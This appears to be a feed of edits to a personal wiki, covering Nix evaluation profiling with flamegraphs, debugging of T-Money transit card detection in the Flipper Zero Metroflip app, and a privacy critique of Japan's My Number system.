[[File:Nix eval flamegraph.png|thumb|This zoomed out screenshot of &amp;lt;code&amp;gt;nix.svg&amp;lt;/code&amp;gt; shows what kind of image you should expect to come out of the &amp;lt;code&amp;gt;flamegraph&amp;lt;/code&amp;gt; tool for a &amp;lt;code&amp;gt;nix eval&amp;lt;/code&amp;gt; run on &amp;lt;code&amp;gt;nix-darwin&amp;lt;/code&amp;gt;.]]&lt;br /&gt;
Use the flamegraph package to render this &amp;lt;code&amp;gt;nix.profile&amp;lt;/code&amp;gt; file to a SVG image:&amp;lt;pre&amp;gt;&lt;br /&gt;
$ flamegraph &amp;lt; nix.profile &amp;gt; nix.svg&lt;br /&gt;
&amp;lt;/pre&amp;gt;On my system, this creates a 3.5 MiB SVG file.&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=File:Nix_eval_flamegraph.png&amp;diff=98</id>
		<title>File:Nix eval flamegraph.png</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=File:Nix_eval_flamegraph.png&amp;diff=98"/>
		<updated>2026-03-03T06:26:37Z</updated>

		<summary type="html">&lt;p&gt;Justus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The flamegraph tool rendering nix.profile as a SVG flamegraph&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Nix_Profiling&amp;diff=97</id>
		<title>Nix Profiling</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Nix_Profiling&amp;diff=97"/>
		<updated>2026-03-03T06:19:25Z</updated>

		<summary type="html">&lt;p&gt;Justus: Create page&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Nix-darwin ==&lt;br /&gt;
First, run the following to get a flamegraph:&amp;lt;pre&amp;gt;&lt;br /&gt;
# This assumes that you&#039;ve named your nix-darwin configuration&lt;br /&gt;
# after your hostname&lt;br /&gt;
nix eval --option eval-profiler flamegraph .#darwinConfigurations.$(hostname).system&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=T-Money&amp;diff=96</id>
		<title>T-Money</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=T-Money&amp;diff=96"/>
		<updated>2026-02-13T08:10:05Z</updated>

		<summary type="html">&lt;p&gt;Justus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Here&#039;s what I see when I run Metroflip&amp;lt;ref&amp;gt;[https://github.com/luu176/Metroflip Metroflip] &#039;&#039;github.com&#039;&#039;&amp;lt;/ref&amp;gt; with the &amp;lt;code&amp;gt;ufbt cli&amp;lt;/code&amp;gt; attached, running the command &amp;lt;code&amp;gt;log debug&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;…&lt;br /&gt;
518343 [D][Iso14443_4aPoller] Read ATS success&lt;br /&gt;
…&lt;br /&gt;
518432 [D][Type4TagPoller] Select application&lt;br /&gt;
518437 [E][Type4TagPoller] APDU failed: 6A82&lt;br /&gt;
518465 [D][Iso14443_4aPoller] Read ATS success&lt;br /&gt;
518467 [D][EMVPoller] Send select PPSE&lt;br /&gt;
518473 [E][EMVPoller] Failed to parse application&lt;br /&gt;
518487 [I][NfcScanner] Detected 1 protocols&lt;br /&gt;
518489 [I][Metroflip:Scene:Auto] test&lt;br /&gt;
518594 [I][Metroflip:Scene:Auto] proto: 2&lt;br /&gt;
518596 [I][Metroflip:Scene:Parse] Parse scene entered - card_type: atr, data_loaded: false&lt;br /&gt;
518601 [I][Metroflip:Scene:Parse] Tag is either T-Mobilitat or T-Money&lt;br /&gt;
518605 [I][Metroflip:Scene:Parse] Card is valid, loading plugin for: atr&lt;br /&gt;
…&lt;br /&gt;
518680 [D][Iso14443_4aPoller] Read ATS success&lt;br /&gt;
518695 [I][Metroflip:Scene:Parse] Wrong card event received - switching to unknown scene&lt;br /&gt;
…&amp;lt;/pre&amp;gt;&lt;br /&gt;
Meanwhile on the Flipper Zero screen, Metroflip prints the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;atr&lt;br /&gt;
&lt;br /&gt;
This card is currently&lt;br /&gt;
unsupported / fully locked&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In &amp;lt;code&amp;gt;scenes/metroflip_scene_parse.c&amp;lt;/code&amp;gt; the following conditional determines if a card is T-money:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;void metroflip_scene_parse_on_enter(void* context) {&lt;br /&gt;
// ...&lt;br /&gt;
} else if (app-&amp;gt;hist_bytes[0] == 0x04 &amp;amp;&amp;amp; app-&amp;gt;hist_bytes[1] == 0x09) {&lt;br /&gt;
// This branch is not hit.&lt;br /&gt;
// the program then assumes that the card is &amp;quot;locked&amp;quot;&lt;br /&gt;
// ...&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
The program skips this conditional because the &#039;&#039;hist_bytes&#039;&#039; don&#039;t line up with the T-Money card from 2018 that I&#039;ve used in Seoul.&lt;br /&gt;
&lt;br /&gt;
In my original pull request&amp;lt;ref&amp;gt;https://github.com/luu176/Metroflip/pull/77 “Implement T-Money balance parsing”&amp;lt;/ref&amp;gt; I’ve reported the following information as dumped by the Flipper Zero&#039;s NFC app:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;Filetype: Flipper NFC device&lt;br /&gt;
Version: 4&lt;br /&gt;
# Device type can be ISO14443-3A, ISO14443-3B, ISO14443-4A, ISO14443-4B, ISO15693-3, FeliCa, NTAG/Ultralight, Mifare Classic, Mifare Plus, Mifare DESFire, SLIX, ST25TB, NTAG4xx, Type 4 Tag, EMV&lt;br /&gt;
Device type: ISO14443-4A&lt;br /&gt;
# UID is common for all formats&lt;br /&gt;
UID: XX XX XX XX&lt;br /&gt;
# ISO14443-3A specific data&lt;br /&gt;
ATQA: 00 04&lt;br /&gt;
SAK: 20&lt;br /&gt;
# ISO14443-4A specific data&lt;br /&gt;
T0: 78&lt;br /&gt;
TA(1): 80&lt;br /&gt;
TB(1): B0&lt;br /&gt;
TC(1): 02&lt;br /&gt;
T1...Tk: 04 09 22 02&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Meanwhile, a friend gave me a newer T-Money card. Flipper Zero prints the following dump for this card:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;Filetype: Flipper NFC device&lt;br /&gt;
Version: 4&lt;br /&gt;
# Device type can be ISO14443-3A, ISO14443-3B, ISO14443-4A, ISO14443-4B, ISO15693-3, FeliCa, NTAG/Ultralight, Mifare Classic, Mifare Plus, Mifare DESFire, SLIX, ST25TB, NTAG4xx, Type 4 Tag, EMV&lt;br /&gt;
Device type: ISO14443-4A&lt;br /&gt;
# UID is common for all formats&lt;br /&gt;
UID: XX XX XX XX&lt;br /&gt;
# ISO14443-3A specific data&lt;br /&gt;
ATQA: 00 04&lt;br /&gt;
SAK: 20&lt;br /&gt;
# ISO14443-4A specific data&lt;br /&gt;
T0: 78&lt;br /&gt;
TA(1): 77&lt;br /&gt;
TB(1): C1&lt;br /&gt;
TC(1): 02&lt;br /&gt;
T1...Tk: 0E 51 31 01&amp;lt;/pre&amp;gt;Notice the difference in the &amp;lt;code&amp;gt;T1...Tk&amp;lt;/code&amp;gt; bytes. The older card has &amp;lt;code&amp;gt;04 09 22 02&amp;lt;/code&amp;gt; and the newer card has &amp;lt;code&amp;gt;0E 51 31 01&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Maintainer &#039;&#039;&#039;luu176&#039;&#039;&#039; meanwhile said that they found the following &#039;&#039;ATR&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;3B 88 80 01 04 02 00 20 00 71 C1 40 DF&amp;lt;/pre&amp;gt;I refer to the &#039;&#039;&#039;Smart card ATR parsing&#039;&#039;&#039;&amp;lt;ref&amp;gt;[https://smartcard-atr.apdu.fr/ Smart card ATR parsing] &#039;&#039;smartcard-atr.apdu.fr&#039;&#039;&amp;lt;/ref&amp;gt; tool and enter luu176&#039;s ATR. The tool gives the following response&amp;lt;ref&amp;gt;[https://smartcard-atr.apdu.fr/parse?ATR=3B+88+80+01+04+02+00+20+00+71+C1+40+DF &amp;quot;Parsing ATR: 3B 88 … result&amp;quot;] &#039;&#039;smartcard-atr.apu.fr&#039;&#039;&amp;lt;/ref&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
* TS&amp;lt;ref&amp;gt;TS 開始キャラクタ (initial character) https://kikakurui.com/x6/X6320-3-2009-01.html#:~:text=TS,character&amp;lt;/ref&amp;gt; = 0x3B&lt;br /&gt;
** Direct Convention&lt;br /&gt;
* T0&amp;lt;ref&amp;gt;T0 構成表示バイト (format byte) https://kikakurui.com/x6/X6320-3-2009-01.html#:~:text=T0,byte&amp;lt;/ref&amp;gt; = 0x88&lt;br /&gt;
** Y(1): b1000, K: 8 (historical bytes)&lt;br /&gt;
* TD(1) = 0x80&lt;br /&gt;
** Y(i+1) = b1000, Protocol T=0&lt;br /&gt;
* TD(2) = 0x01&lt;br /&gt;
** Y(i+1) = b0000, Protocol T=1&lt;br /&gt;
* Historical bytes&lt;br /&gt;
** 04 02 00 20 00 71 C1 40&lt;br /&gt;
* Category indicator byte: 0x04&lt;br /&gt;
** (proprietary format) &amp;quot;.. .q.@&amp;quot;&lt;br /&gt;
* TCK&amp;lt;ref&amp;gt;TCK 検査キャラクタ (check character) https://kikakurui.com/x6/X6320-3-2009-01.html#:~:text=TCK,character&amp;lt;/ref&amp;gt; = 0xDF&lt;br /&gt;
** correct checksum&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=T-Money&amp;diff=95</id>
		<title>T-Money</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=T-Money&amp;diff=95"/>
		<updated>2026-02-13T07:43:10Z</updated>

		<summary type="html">&lt;p&gt;Justus: Created page with &amp;quot;Here&amp;#039;s what I see when I run Metroflip&amp;lt;ref&amp;gt;[https://github.com/luu176/Metroflip Metroflip] &amp;#039;&amp;#039;github.com&amp;#039;&amp;#039;&amp;lt;/ref&amp;gt; with the &amp;lt;code&amp;gt;ufbt cli&amp;lt;/code&amp;gt; attached, running the command &amp;lt;code&amp;gt;log debug&amp;lt;/code&amp;gt;:  &amp;lt;pre&amp;gt;… 518343 [D][Iso14443_4aPoller] Read ATS success … 518432 [D][Type4TagPoller] Select application 518437 [E][Type4TagPoller] APDU failed: 6A82 518465 [D][Iso14443_4aPoller] Read ATS success 518467 [D][EMVPoller] Send select PPSE 518473 [E][EMVPoller] Failed to parse ap...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Here&#039;s what I see when I run Metroflip&amp;lt;ref&amp;gt;[https://github.com/luu176/Metroflip Metroflip] &#039;&#039;github.com&#039;&#039;&amp;lt;/ref&amp;gt; with the &amp;lt;code&amp;gt;ufbt cli&amp;lt;/code&amp;gt; attached, running the command &amp;lt;code&amp;gt;log debug&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;…&lt;br /&gt;
518343 [D][Iso14443_4aPoller] Read ATS success&lt;br /&gt;
…&lt;br /&gt;
518432 [D][Type4TagPoller] Select application&lt;br /&gt;
518437 [E][Type4TagPoller] APDU failed: 6A82&lt;br /&gt;
518465 [D][Iso14443_4aPoller] Read ATS success&lt;br /&gt;
518467 [D][EMVPoller] Send select PPSE&lt;br /&gt;
518473 [E][EMVPoller] Failed to parse application&lt;br /&gt;
518487 [I][NfcScanner] Detected 1 protocols&lt;br /&gt;
518489 [I][Metroflip:Scene:Auto] test&lt;br /&gt;
518594 [I][Metroflip:Scene:Auto] proto: 2&lt;br /&gt;
518596 [I][Metroflip:Scene:Parse] Parse scene entered - card_type: atr, data_loaded: false&lt;br /&gt;
518601 [I][Metroflip:Scene:Parse] Tag is either T-Mobilitat or T-Money&lt;br /&gt;
518605 [I][Metroflip:Scene:Parse] Card is valid, loading plugin for: atr&lt;br /&gt;
…&lt;br /&gt;
518680 [D][Iso14443_4aPoller] Read ATS success&lt;br /&gt;
518695 [I][Metroflip:Scene:Parse] Wrong card event received - switching to unknown scene&lt;br /&gt;
…&amp;lt;/pre&amp;gt;&lt;br /&gt;
Meanwhile on the Flipper Zero screen, Metroflip prints the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;atr&lt;br /&gt;
&lt;br /&gt;
This card is currently&lt;br /&gt;
unsupported / fully locked&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In &amp;lt;code&amp;gt;scenes/metroflip_scene_parse.c&amp;lt;/code&amp;gt; the following conditional determines if a card is T-money:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;void metroflip_scene_parse_on_enter(void* context) {&lt;br /&gt;
// ...&lt;br /&gt;
} else if (app-&amp;gt;hist_bytes[0] == 0x04 &amp;amp;&amp;amp; app-&amp;gt;hist_bytes[1] == 0x09) {&lt;br /&gt;
// This branch is not hit.&lt;br /&gt;
// the program then assumes that the card is &amp;quot;locked&amp;quot;&lt;br /&gt;
// ...&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
The program skips this conditional because the &#039;&#039;hist_bytes&#039;&#039; don&#039;t line up with the T-Money card from 2018 that I&#039;ve used in Seoul.&lt;br /&gt;
&lt;br /&gt;
In my original pull request&amp;lt;ref&amp;gt;https://github.com/luu176/Metroflip/pull/77 “Implement T-Money balance parsing”&amp;lt;/ref&amp;gt; I’ve reported the following information as dumped by the Flipper Zero&#039;s NFC app:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;Filetype: Flipper NFC device&lt;br /&gt;
Version: 4&lt;br /&gt;
# Device type can be ISO14443-3A, ISO14443-3B, ISO14443-4A, ISO14443-4B, ISO15693-3, FeliCa, NTAG/Ultralight, Mifare Classic, Mifare Plus, Mifare DESFire, SLIX, ST25TB, NTAG4xx, Type 4 Tag, EMV&lt;br /&gt;
Device type: ISO14443-4A&lt;br /&gt;
# UID is common for all formats&lt;br /&gt;
UID: XX XX XX XX&lt;br /&gt;
# ISO14443-3A specific data&lt;br /&gt;
ATQA: 00 04&lt;br /&gt;
SAK: 20&lt;br /&gt;
# ISO14443-4A specific data&lt;br /&gt;
T0: 78&lt;br /&gt;
TA(1): 80&lt;br /&gt;
TB(1): B0&lt;br /&gt;
TC(1): 02&lt;br /&gt;
T1...Tk: 04 09 22 02&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintainer &#039;&#039;&#039;luu176&#039;&#039;&#039; meanwhile said that they found the following &#039;&#039;ATR&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;3B 88 80 01 04 02 00 20 00 71 C1 40 DF&amp;lt;/pre&amp;gt;&lt;br /&gt;
Meanwhile, a friend gave me a newer T-Money card. Flipper Zero prints the following dump for this card:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;Filetype: Flipper NFC device&lt;br /&gt;
Version: 4&lt;br /&gt;
# Device type can be ISO14443-3A, ISO14443-3B, ISO14443-4A, ISO14443-4B, ISO15693-3, FeliCa, NTAG/Ultralight, Mifare Classic, Mifare Plus, Mifare DESFire, SLIX, ST25TB, NTAG4xx, Type 4 Tag, EMV&lt;br /&gt;
Device type: ISO14443-4A&lt;br /&gt;
# UID is common for all formats&lt;br /&gt;
UID: XX XX XX XX&lt;br /&gt;
# ISO14443-3A specific data&lt;br /&gt;
ATQA: 00 04&lt;br /&gt;
SAK: 20&lt;br /&gt;
# ISO14443-4A specific data&lt;br /&gt;
T0: 78&lt;br /&gt;
TA(1): 77&lt;br /&gt;
TB(1): C1&lt;br /&gt;
TC(1): 02&lt;br /&gt;
T1...Tk: 0E 51 31 01&amp;lt;/pre&amp;gt;Notice the difference in the &amp;lt;code&amp;gt;T1...Tk&amp;lt;/code&amp;gt; bytes. The older card has &amp;lt;code&amp;gt;04 09 22 02&amp;lt;/code&amp;gt; and the newer card has &amp;lt;code&amp;gt;0E 51 31 01&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
I refer to the &#039;&#039;&#039;Smart card ATR parsing&#039;&#039;&#039;&amp;lt;ref&amp;gt;[https://smartcard-atr.apdu.fr/ Smart card ATR parsing] &#039;&#039;smartcard-atr.apdu.fr&#039;&#039;&amp;lt;/ref&amp;gt; tool and enter luu176&#039;s ATR. The tool gives the following response&amp;lt;ref&amp;gt;[https://smartcard-atr.apdu.fr/parse?ATR=3B+88+80+01+04+02+00+20+00+71+C1+40+DF &amp;quot;Parsing ATR: 3B 88 … result&amp;quot;] &#039;&#039;smartcard-atr.apu.fr&#039;&#039;&amp;lt;/ref&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
* TS = 0x3B - Direct Convention&lt;br /&gt;
* T0 = 0x88 Y(1): b1000, K: 8 (historical bytes)&lt;br /&gt;
* TD(1) = 0x80 Y(i+1) = b1000, Protocol T=0&lt;br /&gt;
* ----    &lt;br /&gt;
* TD(2) = 0x01    Y(i+1) = b0000, Protocol T=1&lt;br /&gt;
* ----    &lt;br /&gt;
* Historical bytes    04 02 00 20 00 71 C1 40&lt;br /&gt;
* Category indicator byte: 0x04    (proprietary format) &amp;quot;.. .q.@&amp;quot;&lt;br /&gt;
* TCK = 0xDF    &#039;&#039;&#039;correct checksum&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=My_Number&amp;diff=94</id>
		<title>My Number</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=My_Number&amp;diff=94"/>
		<updated>2026-02-12T22:56:22Z</updated>

		<summary type="html">&lt;p&gt;Justus: /* Reliability */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This page captures some of my thoughts about the Japanese My Number (個人番号&amp;lt;ref&amp;gt;[https://ja.wikipedia.org/wiki/%E5%80%8B%E4%BA%BA%E7%95%AA%E5%8F%B7 個人番号] &#039;&#039;ja.wikipedia.org&#039;&#039;&amp;lt;/ref&amp;gt;) system.&lt;br /&gt;
&lt;br /&gt;
The law that set the path for the My Number system in Japan is called 「行政手続における特定の個人を識別するための番号の利用等に関する法律」&amp;lt;ref name=&amp;quot;:0&amp;quot;&amp;gt;[https://laws.e-gov.go.jp/law/425AC0000000027 行政手続における特定の個人を識別するための番号の利用等に関する法律] &#039;&#039;law.e-gov.go.jp&#039;&#039;&amp;lt;/ref&amp;gt; which I will call &#039;&#039;&#039;My Number law&#039;&#039;&#039; for the rest of this article. The My Number law first came into effect in April 4, 2017. The most recent version of the My Number law came into force on December 12, 2025.&lt;br /&gt;
&lt;br /&gt;
This article presents concerns from a technical and privacy point of view. This article does not present a legal analysis and I&#039;m not a lawyer.&lt;br /&gt;
&lt;br /&gt;
== One number for everything ==&lt;br /&gt;
&amp;lt;blockquote&amp;gt;第一章　総則&lt;br /&gt;
&lt;br /&gt;
（目的）&lt;br /&gt;
&lt;br /&gt;
第一条　この法律は　…　個人番号　…　の有する特定の個人　…　を識別する機能を活用し、並びに当該機能によって異なる分野に属する情報を照合してこれらが同一の者に係るものであるかどうかを確認することができる…。&amp;lt;ref name=&amp;quot;:0&amp;quot; /&amp;gt;&amp;lt;/blockquote&amp;gt;The idea of the My Number law is to assign a unique number to every person that you can use to tell persons apart. The 厚生労働省 and 法務省 intent to use this system as a unique identifier that many other public and private systems can attach personally identifiable information (PII) to. Here&#039;s are some examples of PII that currently is connected to someone&#039;s My Number:&lt;br /&gt;
&lt;br /&gt;
* Name&lt;br /&gt;
* Date of birth&lt;br /&gt;
* Gender&lt;br /&gt;
* Address history&lt;br /&gt;
* Electronic Health Records&lt;br /&gt;
* Immigration and residence status&lt;br /&gt;
* Personal income and tax information&lt;br /&gt;
* Information about family members&lt;br /&gt;
* Bank account information&lt;br /&gt;
&lt;br /&gt;
=== Problem ===&lt;br /&gt;
Any party that knows someone&#039;s personal number and has access to the data repositories that store any of the above records can access someone&#039;s PII. Apart from legit use cases, the major concern here is that if someone has access to data repositories that they should not have access to, they can gain sensitive information about a person without that person&#039;s knowledge.&lt;br /&gt;
&lt;br /&gt;
== Linked to a physical card ==&lt;br /&gt;
Several government ministries urge citizens to apply for a physical &#039;&#039;&#039;My Number Card&#039;&#039;&#039;. This My Number Card shows the following sensitive information about a person:&lt;br /&gt;
&lt;br /&gt;
* Full name&lt;br /&gt;
* Current address&lt;br /&gt;
* Date of birth&lt;br /&gt;
* Expiry date&lt;br /&gt;
* Previous home addresses&lt;br /&gt;
* Personal number&lt;br /&gt;
&lt;br /&gt;
The My Number Card further is equipped with smart card functionality that lets you conduct various official businesses using its integrated digital certificate. With this digital certificate, you can sign or identify yourself. The smart card is protected by several passcodes:&lt;br /&gt;
&lt;br /&gt;
* 住民基本台帳用: Passcode that allows you to change information about you on the card when going to town hall. (4 digits)&lt;br /&gt;
* 券面事項入力補助用: Passcode that lets you electronically transfer address, name, and other information about you to other devices. (4 digits)&lt;br /&gt;
* 利用者証明用電子証明書用: Passcode that lets you identify yourself when authenticating with the マイナポータル, when printing your registration information (住民票), or when going to the hospital (4 digits)&lt;br /&gt;
* 署名用電子証明書用: Passcode that lets you use the digital signing feature in your card. Example: Personal tax filings when using the e-Tax system. (6-16 digits)&lt;br /&gt;
&lt;br /&gt;
=== Problem ===&lt;br /&gt;
&lt;br /&gt;
* Theft or Loss: Losing the physical card means that anyone can see all of the sensitive information printed on the card.&lt;br /&gt;
* Single point of failure: Losing this card means that you can&#039;t conduct any of the official business in the preceding list.&lt;br /&gt;
* Single point of failure (medical): You can&#039;t prove that you have health insurance if you don&#039;t have your My Number Card&lt;br /&gt;
&lt;br /&gt;
== Unchangeable number ==&lt;br /&gt;
There are no provisions for changing your personal number.&lt;br /&gt;
&lt;br /&gt;
=== Problem ===&lt;br /&gt;
&lt;br /&gt;
* Your PII accessible in eternity: If an unauthorized third party learns your personal number and can unlawfully access any data repository that links your personal number to sensitive information, they can access this sensitive information in eternity.&lt;br /&gt;
&lt;br /&gt;
== Passcodes written on paper ==&lt;br /&gt;
When you apply for a My Number Card, you need to set the four passcodes as described in [[#Linked to a physical card]]. At Kitazawa Town Hall (北沢総合支所 ) &amp;lt;ref&amp;gt;[https://www.city.setagaya.lg.jp/02205/8489.html 北沢総合支所] &#039;&#039;www.city.setagaya.lg.jp&#039;&#039;&amp;lt;/ref&amp;gt;in Setagaya City, town hall employees asked me in 2023 to write down my passcodes on a piece of paper and hand it to them. The employees would then set the passcodes themselves and give me the card.&lt;br /&gt;
&lt;br /&gt;
=== Problem ===&lt;br /&gt;
&lt;br /&gt;
* Third party can learn passcode: If the pass codes are not shredded properly or if an unauthorized party somehow gains access to the pieces of paper with passcodes on them, they&#039;re able to conduct most relevant official business against your will - if they&#039;re able to retrieve your card as well. This is an unacceptable risk.&lt;br /&gt;
* Town hall employees know your passcode: Since you&#039;re instructing town hall employees to set your passcode, they know your passcode. They can conduct official business against your will. If you don&#039;t change your passcode immediately, they may wait for a few months, retrieve your card (for example when visiting town hall a second time), and use the card without your authorization. The fact that it&#039;s possible at all is concerning.&lt;br /&gt;
* No good passcode hygiene: There are no instructions on how to choose a safe passcode that is difficult to guess or brute force. While the My Number card locks you out after a number of unsuccessful passcode entry attempts, you can just set your birth year as a passcode and someone can guess this passcode by looking at your date of birth written on the card that they&#039;ve just stolen from you.&lt;br /&gt;
&lt;br /&gt;
== Other concerns ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Misinformation&#039;&#039;&#039;: 厚生労働省 deliberately does not tell citizens that they can use their health insurance without a My Number card, for example by obtaining a 資格確認証, a plastic card without any electronic functionality. I personally only know a few people that know this. And they&#039;re the ones that told me.&lt;br /&gt;
* &#039;&#039;&#039;Waste of tax money&#039;&#039;&#039;: If you visually compare the 資格確認証 and 健康保険証 issued by 協会けんぽう you will notice that they mostly look the same. One&#039;s in yellow, and the other one&#039;s in blue. To think that the government spent 10 years rolling out the My Number health insurance card scheme, and a yellow plastic card offering all the functionality that you need, shows that the My Number health insurance card scheme is not effective. When you consider that after all of this busywork, I get another card that looks the same as my old one, you may think: &#039;&#039;Why didn&#039;t they just keep the card blue?&#039;&#039;&lt;br /&gt;
* &#039;&#039;&#039;Usability:&#039;&#039;&#039; To use any of the electronic functionality, you need to be at least somewhat competent at using IT systems. If you&#039;re not good at it, you can&#039;t do the following:&lt;br /&gt;
** Go to the doctor&lt;br /&gt;
** File your taxes online&lt;br /&gt;
** Conduct any other official, electronic business&lt;br /&gt;
* &#039;&#039;&#039;Reliability of My Number card in hospitals&#039;&#039;&#039;: For various reliability reasons&amp;lt;ref&amp;gt;「やむを得ず10割負担」が3倍に急増 [https://www.ben54.jp/news/3154 マイナ保険証「今後トラブルがゼロになることはない」医師団体が“紙の保険証”復活訴える 「有効期限切れ」など増加] &#039;&#039;www.ben54.jp&#039;&#039;&amp;lt;/ref&amp;gt;, or if you forget your passcode, patients can be asked to pay the full amount for medical treatments&amp;lt;ref&amp;gt;高齢の母が病院で「マイナ保険証」の受付操作ができず、10割負担で「4000円」の支払いを求められたとのこと。機械の操作が難しいなら「資格確認書」だけ使うべきでしょうか？ [https://financial-field.com/living/entry-362846 高齢の母が病院で「マイナ保険証」の受付操作ができず、10割負担で「4000円」の支払いを求められたとのこと。機械の操作が難しいなら「資格確認書」だけ使うべきでしょうか？] &#039;&#039;financial-field.com&#039;&#039;&amp;lt;/ref&amp;gt; on the spot. You then need to apply for a refund from your health insurance&amp;lt;ref&amp;gt;[https://tetsuzuki-planner.jp/plan/iryouhishikyuushinsei マイナ保険証がなくて10割負担…医療費の返金手続き(療養費支給申請)] &#039;&#039;tetsuzuki-planner.jp&#039;&#039;&amp;lt;/ref&amp;gt;. Almost 70 % of hospitals recently reported technical difficulties.&amp;lt;ref name=&amp;quot;:1&amp;quot;&amp;gt;「マイナ保険証に関する最新の実態調査で、2025年8月以降も69.8%の医療機関でマイナ保険証に関するトラブルが発生していることが判明したと明らかにした。」&lt;br /&gt;
&lt;br /&gt;
「調査結果によると、マイナ保険証の利用率は徐々に上昇しているものの、直近の利用率が40%未満の医療機関が半数以上を占めたという。」&lt;br /&gt;
&lt;br /&gt;
[https://archive.is/d2Slz#selection-479.2-479.78 マイナ保険証「今後トラブルがゼロになることはない」医師団体が“紙の保険証”復活訴える 「有効期限切れ」など増加] &#039;&#039;news.yahoo.co.jp - archive.is&#039;&#039;&amp;lt;/ref&amp;gt;&lt;br /&gt;
* &#039;&#039;&#039;Certificate expiry&#039;&#039;&#039;: If you forget to renew the electronic certificate on your my number card, you can&#039;t go to the hospital anymore or have to pay the full amount yourself. Again, for older people this presents a problem.&amp;lt;ref&amp;gt;マイナ保険証トラブル「有効期限切れ」が倍増　資格確認できず「いったん10割負担」も多く発生　保団連調査 [https://www.tokyo-np.co.jp/article/465316 マイナ保険証トラブル「有効期限切れ」が倍増　資格確認できず「いったん10割負担」も多く発生　保団連調査] &#039;&#039;www.tokyo-np.co.jp&#039;&#039;&amp;lt;/ref&amp;gt;&lt;br /&gt;
* &#039;&#039;&#039;Low adoption&#039;&#039;&#039;: Less than 50% of citizens use the My Number health insurance card scheme &amp;lt;ref name=&amp;quot;:1&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=My_Number&amp;diff=93</id>
		<title>My Number</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=My_Number&amp;diff=93"/>
		<updated>2026-01-31T09:00:57Z</updated>

		<summary type="html">&lt;p&gt;Justus: Created page with &amp;quot;This page captures some of my thoughts about the Japanese My Number (個人番号&amp;lt;ref&amp;gt;https://ja.wikipedia.org/wiki/%E5%80%8B%E4%BA%BA%E7%95%AA%E5%8F%B7&amp;lt;/ref&amp;gt;) system.  The law that set the path for the My Number system in Japan is called 「行政手続における特定の個人を識別するための番号の利用等に関する法律」&amp;lt;ref&amp;gt;https://laws.e-gov.go.jp/law/425AC0000000027&amp;lt;/ref&amp;gt; which I will call &amp;#039;&amp;#039;&amp;#039;My Number law&amp;#039;&amp;#039;&amp;#039; for the rest of this article. The My...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This page captures some of my thoughts about the Japanese My Number (個人番号&amp;lt;ref&amp;gt;https://ja.wikipedia.org/wiki/%E5%80%8B%E4%BA%BA%E7%95%AA%E5%8F%B7&amp;lt;/ref&amp;gt;) system.&lt;br /&gt;
&lt;br /&gt;
The law that set the path for the My Number system in Japan is called 「行政手続における特定の個人を識別するための番号の利用等に関する法律」&amp;lt;ref&amp;gt;https://laws.e-gov.go.jp/law/425AC0000000027&amp;lt;/ref&amp;gt; which I will call &#039;&#039;&#039;My Number law&#039;&#039;&#039; for the rest of this article. The My Number law first came into effect in April 4, 2017. The most recent version of the My Number law came into force on December 12, 2025.&lt;br /&gt;
&lt;br /&gt;
